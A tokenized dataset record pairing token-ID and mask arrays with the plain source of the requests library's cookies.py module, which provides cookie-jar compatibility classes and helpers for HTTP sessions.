15, 6427, 3149, 83, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 9, 267, 2256, 275, 2022, 14, 3640, 8, 277, 423, 1733, 63, 3821, 8, 288, 519, 7, 1391, 6441, 16270, 275, 11459, 2795, 30446, 83, 15279, 1108, 1579, 4206, 288, 9248, 12, 283, 815, 2022, 297, 3285, 29, 264, 14, 16504, 430, 398, 22378, 63, 344, 275, 2256, 14, 362, 360, 9788, 1304, 358, 267, 340, 22378, 63, 344, 26, 288, 372, 291, 14, 633, 63, 1099, 8, 9788, 63, 344, 12, 283, 57, 7715, 358, 398, 6752, 275, 8910, 288, 283, 633, 356, 5898, 459, 2302, 418, 435, 15539, 435, 2256, 459, 2817, 3264, 995, 288, 283, 84, 3289, 356, 5898, 459, 2075, 6621, 995, 288, 283, 2063, 356, 5898, 459, 2063, 995, 288, 283, 3333, 356, 5898, 459, 3333, 995, 267, 789, 367, 5898, 315, 2256, 459, 4603, 418, 340, 5898, 14, 362, 360, 4603, 14959, 4070, 358, 508, 283, 2802, 418, 398, 340, 440, 6752, 26, 288, 6752, 14, 740, 2561, 355, 283, 633, 356, 2256, 459, 3722, 14014, 418, 288, 3828, 398, 291, 423, 3191, 63, 6321, 8, 6321, 9, 398, 7373, 275, 1109, 63, 269, 63, 3592, 8, 815, 14, 362, 360, 3722, 4625, 607, 13165, 1333, 267, 11437, 63, 3097, 275, 2198, 63, 474, 63, 3097, 8, 815, 14, 362, 360, 23577, 4894, 32533, 1333, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 1213, 356, 2256, 459, 1317, 985, 995, 288, 283, 8311, 356, 2256, 459, 16534, 14014, 995, 288, 283, 5553, 356, 7373, 12, 288, 283, 474, 63, 3097, 356, 11437, 63, 3097, 12, 288, 283, 6321, 356, 6752, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
kostaspl/SpiderMonkey38
python/requests/requests/cookies.py
821
16686
# -*- coding: utf-8 -*- """ Compatibility code to be able to use `cookielib.CookieJar` with requests. requests.utils imports from here, so be careful with imports. """ import time import collections from .compat import cookielib, urlparse, urlunparse, Morsel try: import threading # grr, pyflakes: this fixes "redefinition of unused 'threading'" threading except ImportError: import dummy_threading as threading class MockRequest(object): """Wraps a `requests.Request` to mimic a `urllib2.Request`. The code in `cookielib.CookieJar` expects this interface in order to correctly manage cookie policies, i.e., determine whether a cookie can be set, given the domains of the request and the cookie. The original request object is read-only. The client is responsible for collecting the new headers via `get_new_headers()` and interpreting them appropriately. You probably want `get_cookie_header`, defined below. """ def __init__(self, request): self._r = request self._new_headers = {} self.type = urlparse(self._r.url).scheme def get_type(self): return self.type def get_host(self): return urlparse(self._r.url).netloc def get_origin_req_host(self): return self.get_host() def get_full_url(self): # Only return the response's URL if the user hadn't set the Host # header if not self._r.headers.get('Host'): return self._r.url # If they did set it, retrieve it and reconstruct the expected domain host = self._r.headers['Host'] parsed = urlparse(self._r.url) # Reconstruct the URL as we expect it return urlunparse([ parsed.scheme, host, parsed.path, parsed.params, parsed.query, parsed.fragment ]) def is_unverifiable(self): return True def has_header(self, name): return name in self._r.headers or name in self._new_headers def get_header(self, name, default=None): return self._r.headers.get(name, self._new_headers.get(name, default)) def add_header(self, key, val): """cookielib has no legitimate use for this method; add it back if you find one.""" raise NotImplementedError("Cookie headers should be added with add_unredirected_header()") def add_unredirected_header(self, name, value): self._new_headers[name] = value def get_new_headers(self): return self._new_headers @property def unverifiable(self): return self.is_unverifiable() @property def origin_req_host(self): return self.get_origin_req_host() @property def host(self): return self.get_host() class MockResponse(object): """Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`. ...what? Basically, expose the parsed HTTP headers from the server response the way `cookielib` expects to see them. """ def __init__(self, headers): """Make a MockResponse for `cookielib` to read. :param headers: a httplib.HTTPMessage or analogous carrying the headers """ self._headers = headers def info(self): return self._headers def getheaders(self, name): self._headers.getheaders(name) def extract_cookies_to_jar(jar, request, response): """Extract the cookies from the response into a CookieJar. :param jar: cookielib.CookieJar (not necessarily a RequestsCookieJar) :param request: our own requests.Request object :param response: urllib3.HTTPResponse object """ if not (hasattr(response, '_original_response') and response._original_response): return # the _original_response field is the wrapped httplib.HTTPResponse object, req = MockRequest(request) # pull out the HTTPMessage with the headers and put it in the mock: res = MockResponse(response._original_response.msg) jar.extract_cookies(res, req) def get_cookie_header(jar, request): """Produce an appropriate Cookie header string to be sent with `request`, or None.""" r = MockRequest(request) jar.add_cookie_header(r) return r.get_new_headers().get('Cookie') def remove_cookie_by_name(cookiejar, name, domain=None, path=None): """Unsets a cookie by name, by default over all domains and paths. Wraps CookieJar.clear(), is O(n). """ clearables = [] for cookie in cookiejar: if cookie.name == name: if domain is None or domain == cookie.domain: if path is None or path == cookie.path: clearables.append((cookie.domain, cookie.path, cookie.name)) for domain, path, name in clearables: cookiejar.clear(domain, path, name) class CookieConflictError(RuntimeError): """There are two cookies that meet the criteria specified in the cookie jar. Use .get and .set and include domain and path args in order to be more specific.""" class RequestsCookieJar(cookielib.CookieJar, collections.MutableMapping): """Compatibility class; is a cookielib.CookieJar, but exposes a dict interface. This is the CookieJar we create by default for requests and sessions that don't specify one, since some clients may expect response.cookies and session.cookies to support dict operations. Don't use the dict interface internally; it's just for compatibility with with external client code. All `requests` code should work out of the box with externally provided instances of CookieJar, e.g., LWPCookieJar and FileCookieJar. Caution: dictionary operations that are normally O(1) may be O(n). Unlike a regular CookieJar, this class is pickleable. """ def get(self, name, default=None, domain=None, path=None): """Dict-like get() that also supports optional domain and path args in order to resolve naming collisions from using one cookie jar over multiple domains. Caution: operation is O(n), not O(1).""" try: return self._find_no_duplicates(name, domain, path) except KeyError: return default def set(self, name, value, **kwargs): """Dict-like set() that also supports optional domain and path args in order to resolve naming collisions from using one cookie jar over multiple domains.""" # support client code that unsets cookies by assignment of a None value: if value is None: remove_cookie_by_name(self, name, domain=kwargs.get('domain'), path=kwargs.get('path')) return if isinstance(value, Morsel): c = morsel_to_cookie(value) else: c = create_cookie(name, value, **kwargs) self.set_cookie(c) return c def iterkeys(self): """Dict-like iterkeys() that returns an iterator of names of cookies from the jar. See itervalues() and iteritems().""" for cookie in iter(self): yield cookie.name def keys(self): """Dict-like keys() that returns a list of names of cookies from the jar. See values() and items().""" return list(self.iterkeys()) def itervalues(self): """Dict-like itervalues() that returns an iterator of values of cookies from the jar. See iterkeys() and iteritems().""" for cookie in iter(self): yield cookie.value def values(self): """Dict-like values() that returns a list of values of cookies from the jar. See keys() and items().""" return list(self.itervalues()) def iteritems(self): """Dict-like iteritems() that returns an iterator of name-value tuples from the jar. See iterkeys() and itervalues().""" for cookie in iter(self): yield cookie.name, cookie.value def items(self): """Dict-like items() that returns a list of name-value tuples from the jar. See keys() and values(). Allows client-code to call "dict(RequestsCookieJar) and get a vanilla python dict of key value pairs.""" return list(self.iteritems()) def list_domains(self): """Utility method to list all the domains in the jar.""" domains = [] for cookie in iter(self): if cookie.domain not in domains: domains.append(cookie.domain) return domains def list_paths(self): """Utility method to list all the paths in the jar.""" paths = [] for cookie in iter(self): if cookie.path not in paths: paths.append(cookie.path) return paths def multiple_domains(self): """Returns True if there are multiple domains in the jar. Returns False otherwise.""" domains = [] for cookie in iter(self): if cookie.domain is not None and cookie.domain in domains: return True domains.append(cookie.domain) return False # there is only one domain in jar def get_dict(self, domain=None, path=None): """Takes as an argument an optional domain and path and returns a plain old Python dict of name-value pairs of cookies that meet the requirements.""" dictionary = {} for cookie in iter(self): if (domain is None or cookie.domain == domain) and (path is None or cookie.path == path): dictionary[cookie.name] = cookie.value return dictionary def __getitem__(self, name): """Dict-like __getitem__() for compatibility with client code. Throws exception if there are more than one cookie with name. In that case, use the more explicit get() method instead. Caution: operation is O(n), not O(1).""" return self._find_no_duplicates(name) def __setitem__(self, name, value): """Dict-like __setitem__ for compatibility with client code. Throws exception if there is already a cookie of that name in the jar. In that case, use the more explicit set() method instead.""" self.set(name, value) def __delitem__(self, name): """Deletes a cookie given a name. Wraps cookielib.CookieJar's remove_cookie_by_name().""" remove_cookie_by_name(self, name) def set_cookie(self, cookie, *args, **kwargs): if hasattr(cookie.value, 'startswith') and cookie.value.startswith('"') and cookie.value.endswith('"'): cookie.value = cookie.value.replace('\\"', '') return super(RequestsCookieJar, self).set_cookie(cookie, *args, **kwargs) def update(self, other): """Updates this jar with cookies from another CookieJar or dict-like""" if isinstance(other, cookielib.CookieJar): for cookie in other: self.set_cookie(cookie) else: super(RequestsCookieJar, self).update(other) def _find(self, name, domain=None, path=None): """Requests uses this method internally to get cookie values. Takes as args name and optional domain and path. Returns a cookie.value. If there are conflicting cookies, _find arbitrarily chooses one. See _find_no_duplicates if you want an exception thrown if there are conflicting cookies.""" for cookie in iter(self): if cookie.name == name: if domain is None or cookie.domain == domain: if path is None or cookie.path == path: return cookie.value raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path)) def _find_no_duplicates(self, name, domain=None, path=None): """__get_item__ and get call _find_no_duplicates -- never used in Requests internally. Takes as args name and optional domain and path. Returns a cookie.value. Throws KeyError if cookie is not found and CookieConflictError if there are multiple cookies that match name and optionally domain and path.""" toReturn = None for cookie in iter(self): if cookie.name == name: if domain is None or cookie.domain == domain: if path is None or cookie.path == path: if toReturn is not None: # if there are multiple cookies that meet passed in criteria raise CookieConflictError('There are multiple cookies with name, %r' % (name)) toReturn = cookie.value # we will eventually return this as long as no cookie conflict if toReturn: return toReturn raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path)) def __getstate__(self): """Unlike a normal CookieJar, this class is pickleable.""" state = self.__dict__.copy() # remove the unpickleable RLock object state.pop('_cookies_lock') return state def __setstate__(self, state): """Unlike a normal CookieJar, this class is pickleable.""" self.__dict__.update(state) if '_cookies_lock' not in self.__dict__: self._cookies_lock = threading.RLock() def copy(self): """Return a copy of this RequestsCookieJar.""" new_cj = RequestsCookieJar() new_cj.update(self) return new_cj def create_cookie(name, value, **kwargs): """Make a cookie from underspecified parameters. By default, the pair of `name` and `value` will be set for the domain '' and sent on every request (this is sometimes called a "supercookie"). """ result = dict( version=0, name=name, value=value, port=None, domain='', path='/', secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False,) badargs = set(kwargs) - set(result) if badargs: err = 'create_cookie() got unexpected keyword arguments: %s' raise TypeError(err % list(badargs)) result.update(kwargs) result['port_specified'] = bool(result['port']) result['domain_specified'] = bool(result['domain']) result['domain_initial_dot'] = result['domain'].startswith('.') result['path_specified'] = bool(result['path']) return cookielib.Cookie(**result) def morsel_to_cookie(morsel): """Convert a Morsel object into a Cookie containing the one k/v pair.""" expires = None if morsel['max-age']: expires = time.time() + morsel['max-age'] elif morsel['expires']: time_template = '%a, %d-%b-%Y %H:%M:%S GMT' expires = time.mktime( time.strptime(morsel['expires'], time_template)) - time.timezone return create_cookie( comment=morsel['comment'], comment_url=bool(morsel['comment']), discard=False, domain=morsel['domain'], expires=expires, name=morsel.key, path=morsel['path'], port=None, rest={'HttpOnly': morsel['httponly']}, rfc2109=False, secure=bool(morsel['secure']), value=morsel.value, version=morsel['version'] or 0, ) def cookiejar_from_dict(cookie_dict, cookiejar=None, overwrite=True): """Returns a CookieJar from a key/value dictionary. :param cookie_dict: Dict of key/values to insert into CookieJar. :param cookiejar: (optional) A cookiejar to add the cookies to. :param overwrite: (optional) If False, will not replace cookies already in the jar with new ones. """ if cookiejar is None: cookiejar = RequestsCookieJar() if cookie_dict is not None: names_from_jar = [cookie.name for cookie in cookiejar] for name in cookie_dict: if overwrite or (name not in names_from_jar): cookiejar.set_cookie(create_cookie(name, cookie_dict[name])) return cookiejar def merge_cookies(cookiejar, cookies): """Add cookies to cookiejar and returns a merged CookieJar. :param cookiejar: CookieJar object to add the cookies to. :param cookies: Dictionary or CookieJar object to be added. """ if not isinstance(cookiejar, cookielib.CookieJar): raise ValueError('You can only merge into CookieJar') if isinstance(cookies, dict): cookiejar = cookiejar_from_dict( cookies, cookiejar=cookiejar, overwrite=False) elif isinstance(cookies, cookielib.CookieJar): try: cookiejar.update(cookies) except AttributeError: for cookie_in_jar in cookies: cookiejar.set_cookie(cookie_in_jar) return cookiejar
mpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 2404, 5880, 1233, 370, 506, 7688, 370, 675, 658, 5306, 773, 14, 21315, 64, 543, 4145, 14, 199, 199, 6615, 14, 1208, 8925, 687, 2348, 12, 880, 506, 25082, 543, 8925, 14, 199, 624, 199, 199, 646, 900, 199, 646, 5055, 199, 504, 1275, 5819, 492, 26234, 12, 7097, 12, 30111, 12, 603, 269, 5891, 199, 199, 893, 26, 272, 492, 5796, 272, 327, 31118, 12, 1134, 29677, 26, 642, 25079, 298, 264, 7463, 402, 9563, 283, 12562, 4065, 272, 5796, 199, 2590, 3545, 26, 272, 492, 7283, 63, 12562, 465, 5796, 421, 199, 533, 4420, 2017, 8, 785, 304, 272, 408, 55, 8146, 282, 658, 6615, 14, 2017, 64, 370, 24102, 530, 282, 658, 4078, 18, 14, 2017, 2313, 339, 710, 1233, 315, 658, 5306, 773, 14, 21315, 64, 14292, 642, 3217, 315, 1865, 370, 6657, 272, 9635, 5494, 14118, 12, 284, 14, 69, 2020, 6705, 3775, 282, 5494, 883, 506, 663, 12, 1627, 314, 272, 14006, 402, 314, 1056, 436, 314, 5494, 14, 339, 710, 3379, 1056, 909, 365, 1586, 13, 2118, 14, 710, 1890, 365, 17845, 367, 32223, 272, 314, 892, 2323, 4799, 658, 362, 63, 1222, 63, 2139, 11995, 436, 6421, 1337, 3062, 22497, 14, 2047, 272, 8646, 2934, 658, 362, 63, 5306, 63, 1291, 3559, 3247, 5084, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 423, 82, 275, 1056, 267, 291, 423, 1222, 63, 2139, 275, 1052, 267, 291, 14, 466, 275, 7097, 8, 277, 423, 82, 14, 633, 680, 5512, 339, 347, 664, 63, 466, 8, 277, 304, 267, 372, 291, 14, 466, 339, 347, 664, 63, 1102, 8, 277, 304, 267, 372, 7097, 8, 277, 423, 82, 14, 633, 680, 12652, 339, 347, 664, 63, 6493, 63, 2103, 63, 1102, 8, 277, 304, 267, 372, 291, 14, 362, 63, 1102, 342, 339, 347, 664, 63, 2861, 63, 633, 8, 277, 304, 267, 327, 5972, 372, 314, 1177, 1159, 2851, 340, 314, 922, 10530, 78, 1133, 663, 314, 10891, 267, 327, 1406, 267, 340, 440, 291, 423, 82, 14, 2139, 14, 362, 360, 4965, 735, 288, 372, 291, 423, 82, 14, 633, 267, 327, 982, 2985, 8103, 663, 652, 12, 8044, 652, 436, 28462, 314, 1420, 2881, 267, 1591, 275, 291, 423, 82, 14, 2139, 459, 4965, 418, 267, 4565, 275, 7097, 8, 277, 423, 82, 14, 633, 9, 267, 327, 799, 8514, 314, 2851, 465, 781, 4282, 652, 267, 372, 30111, 779, 288, 4565, 14, 5512, 12, 1591, 12, 4565, 14, 515, 12, 4565, 14, 1162, 12, 4565, 14, 1131, 12, 288, 4565, 14, 7677, 267, 4794, 339, 347, 365, 63, 324, 422, 1903, 461, 8, 277, 304, 267, 372, 715, 339, 347, 965, 63, 1291, 8, 277, 12, 536, 304, 267, 372, 536, 315, 291, 423, 82, 14, 2139, 503, 536, 315, 291, 423, 1222, 63, 2139, 339, 347, 664, 63, 1291, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 372, 291, 423, 82, 14, 2139, 14, 362, 8, 354, 12, 291, 423, 1222, 63, 2139, 14, 362, 8, 354, 12, 849, 430, 339, 347, 1050, 63, 1291, 8, 277, 12, 790, 12, 1139, 304, 267, 408, 5306, 773, 965, 949, 1026, 6153, 2906, 323, 675, 367, 642, 1083, 27, 1050, 652, 1771, 340, 1265, 2342, 1373, 1041, 267, 746, 4279, 480, 7810, 2323, 1077, 506, 3483, 543, 1050, 63, 324, 264, 12080, 63, 1291, 16060, 339, 347, 1050, 63, 324, 264, 12080, 63, 1291, 8, 277, 12, 536, 12, 574, 304, 267, 291, 423, 1222, 63, 2139, 59, 354, 61, 275, 574, 339, 347, 664, 63, 1222, 63, 2139, 8, 277, 304, 267, 372, 291, 423, 1222, 63, 2139, 339, 768, 1829, 272, 347, 625, 422, 1903, 461, 8, 277, 304, 267, 372, 291, 14, 374, 63, 324, 422, 1903, 461, 342, 339, 768, 1829, 272, 347, 6330, 63, 2103, 63, 1102, 8, 277, 304, 267, 372, 291, 14, 362, 63, 6493, 63, 2103, 63, 1102, 342, 339, 768, 1829, 272, 347, 1591, 8, 277, 304, 267, 372, 291, 14, 362, 63, 1102, 342, 421, 199, 533, 4420, 2364, 8, 785, 304, 272, 408, 55, 8146, 282, 658, 12942, 14, 2856, 2209, 64, 370, 24102, 530, 282, 658, 4078, 14, 525, 815, 633, 2313, 339, 2263, 10058, 31, 10082, 1183, 12, 23705, 314, 4565, 3101, 2323, 687, 314, 1654, 1177, 272, 314, 4340, 658, 5306, 773, 64, 14292, 370, 1937, 3062, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323, 304, 267, 408, 5483, 282, 4420, 2364, 367, 658, 5306, 773, 64, 370, 1586, 14, 398, 520, 635, 2323, 26, 282, 8809, 14, 2856, 2209, 503, 20439, 1785, 25176, 316, 314, 2323, 267, 408, 267, 291, 423, 2139, 275, 2323, 339, 347, 2256, 8, 277, 304, 267, 372, 291, 423, 2139, 339, 347, 2312, 16946, 83, 8, 277, 12, 536, 304, 267, 291, 423, 2139, 14, 19958, 83, 8, 354, 9, 421, 199, 318, 5536, 63, 7792, 63, 475, 63, 7338, 8, 7338, 12, 1056, 12, 1177, 304, 272, 408, 12147, 314, 10049, 687, 314, 1177, 1901, 282, 25143, 14, 339, 520, 635, 16290, 26, 26234, 14, 21315, 334, 1397, 20513, 282, 20260, 21315, 9, 272, 520, 635, 1056, 26, 4154, 5705, 4145, 14, 2017, 909, 272, 520, 635, 1177, 26, 4011, 19, 14, 27068, 909, 272, 408, 272, 340, 440, 334, 11161, 8, 1310, 12, 2513, 5043, 63, 1310, 358, 436, 288, 1177, 423, 5043, 63, 1310, 304, 267, 372, 272, 327, 314, 485, 5043, 63, 1310, 901, 365, 314, 8072, 8809, 14, 27068, 909, 12, 272, 2648, 275, 4420, 2017, 8, 1069, 9, 272, 327, 10299, 734, 314, 3101, 2209, 543, 314, 2323, 436, 5324, 652, 315, 314, 1683, 26, 272, 522, 275, 4420, 2364, 8, 1310, 423, 5043, 63, 1310, 14, 1328, 9, 272, 16290, 14, 5005, 63, 7792, 8, 470, 12, 2648, 9, 421, 199, 318, 664, 63, 5306, 63, 1291, 8, 7338, 12, 1056, 304, 272, 408, 24391, 376, 5827, 14798, 1406, 1059, 370, 506, 4847, 543, 658, 1069, 3559, 503, 488, 1041, 272, 519, 275, 4420, 2017, 8, 1069, 9, 272, 16290, 14, 525, 63, 5306, 63 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 2404, 5880, 1233, 370, 506, 7688, 370, 675, 658, 5306, 773, 14, 21315, 64, 543, 4145, 14, 199, 199, 6615, 14, 1208, 8925, 687, 2348, 12, 880, 506, 25082, 543, 8925, 14, 199, 624, 199, 199, 646, 900, 199, 646, 5055, 199, 504, 1275, 5819, 492, 26234, 12, 7097, 12, 30111, 12, 603, 269, 5891, 199, 199, 893, 26, 272, 492, 5796, 272, 327, 31118, 12, 1134, 29677, 26, 642, 25079, 298, 264, 7463, 402, 9563, 283, 12562, 4065, 272, 5796, 199, 2590, 3545, 26, 272, 492, 7283, 63, 12562, 465, 5796, 421, 199, 533, 4420, 2017, 8, 785, 304, 272, 408, 55, 8146, 282, 658, 6615, 14, 2017, 64, 370, 24102, 530, 282, 658, 4078, 18, 14, 2017, 2313, 339, 710, 1233, 315, 658, 5306, 773, 14, 21315, 64, 14292, 642, 3217, 315, 1865, 370, 6657, 272, 9635, 5494, 14118, 12, 284, 14, 69, 2020, 6705, 3775, 282, 5494, 883, 506, 663, 12, 1627, 314, 272, 14006, 402, 314, 1056, 436, 314, 5494, 14, 339, 710, 3379, 1056, 909, 365, 1586, 13, 2118, 14, 710, 1890, 365, 17845, 367, 32223, 272, 314, 892, 2323, 4799, 658, 362, 63, 1222, 63, 2139, 11995, 436, 6421, 1337, 3062, 22497, 14, 2047, 272, 8646, 2934, 658, 362, 63, 5306, 63, 1291, 3559, 3247, 5084, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 423, 82, 275, 1056, 267, 291, 423, 1222, 63, 2139, 275, 1052, 267, 291, 14, 466, 275, 7097, 8, 277, 423, 82, 14, 633, 680, 5512, 339, 347, 664, 63, 466, 8, 277, 304, 267, 372, 291, 14, 466, 339, 347, 664, 63, 1102, 8, 277, 304, 267, 372, 7097, 8, 277, 423, 82, 14, 633, 680, 12652, 339, 347, 664, 63, 6493, 63, 2103, 63, 1102, 8, 277, 304, 267, 372, 291, 14, 362, 63, 1102, 342, 339, 347, 664, 63, 2861, 63, 633, 8, 277, 304, 267, 327, 5972, 372, 314, 1177, 1159, 2851, 340, 314, 922, 10530, 78, 1133, 663, 314, 10891, 267, 327, 1406, 267, 340, 440, 291, 423, 82, 14, 2139, 14, 362, 360, 4965, 735, 288, 372, 291, 423, 82, 14, 633, 267, 327, 982, 2985, 8103, 663, 652, 12, 8044, 652, 436, 28462, 314, 1420, 2881, 267, 1591, 275, 291, 423, 82, 14, 2139, 459, 4965, 418, 267, 4565, 275, 7097, 8, 277, 423, 82, 14, 633, 9, 267, 327, 799, 8514, 314, 2851, 465, 781, 4282, 652, 267, 372, 30111, 779, 288, 4565, 14, 5512, 12, 1591, 12, 4565, 14, 515, 12, 4565, 14, 1162, 12, 4565, 14, 1131, 12, 288, 4565, 14, 7677, 267, 4794, 339, 347, 365, 63, 324, 422, 1903, 461, 8, 277, 304, 267, 372, 715, 339, 347, 965, 63, 1291, 8, 277, 12, 536, 304, 267, 372, 536, 315, 291, 423, 82, 14, 2139, 503, 536, 315, 291, 423, 1222, 63, 2139, 339, 347, 664, 63, 1291, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 372, 291, 423, 82, 14, 2139, 14, 362, 8, 354, 12, 291, 423, 1222, 63, 2139, 14, 362, 8, 354, 12, 849, 430, 339, 347, 1050, 63, 1291, 8, 277, 12, 790, 12, 1139, 304, 267, 408, 5306, 773, 965, 949, 1026, 6153, 2906, 323, 675, 367, 642, 1083, 27, 1050, 652, 1771, 340, 1265, 2342, 1373, 1041, 267, 746, 4279, 480, 7810, 2323, 1077, 506, 3483, 543, 1050, 63, 324, 264, 12080, 63, 1291, 16060, 339, 347, 1050, 63, 324, 264, 12080, 63, 1291, 8, 277, 12, 536, 12, 574, 304, 267, 291, 423, 1222, 63, 2139, 59, 354, 61, 275, 574, 339, 347, 664, 63, 1222, 63, 2139, 8, 277, 304, 267, 372, 291, 423, 1222, 63, 2139, 339, 768, 1829, 272, 347, 625, 422, 1903, 461, 8, 277, 304, 267, 372, 291, 14, 374, 63, 324, 422, 1903, 461, 342, 339, 768, 1829, 272, 347, 6330, 63, 2103, 63, 1102, 8, 277, 304, 267, 372, 291, 14, 362, 63, 6493, 63, 2103, 63, 1102, 342, 339, 768, 1829, 272, 347, 1591, 8, 277, 304, 267, 372, 291, 14, 362, 63, 1102, 342, 421, 199, 533, 4420, 2364, 8, 785, 304, 272, 408, 55, 8146, 282, 658, 12942, 14, 2856, 2209, 64, 370, 24102, 530, 282, 658, 4078, 14, 525, 815, 633, 2313, 339, 2263, 10058, 31, 10082, 1183, 12, 23705, 314, 4565, 3101, 2323, 687, 314, 1654, 1177, 272, 314, 4340, 658, 5306, 773, 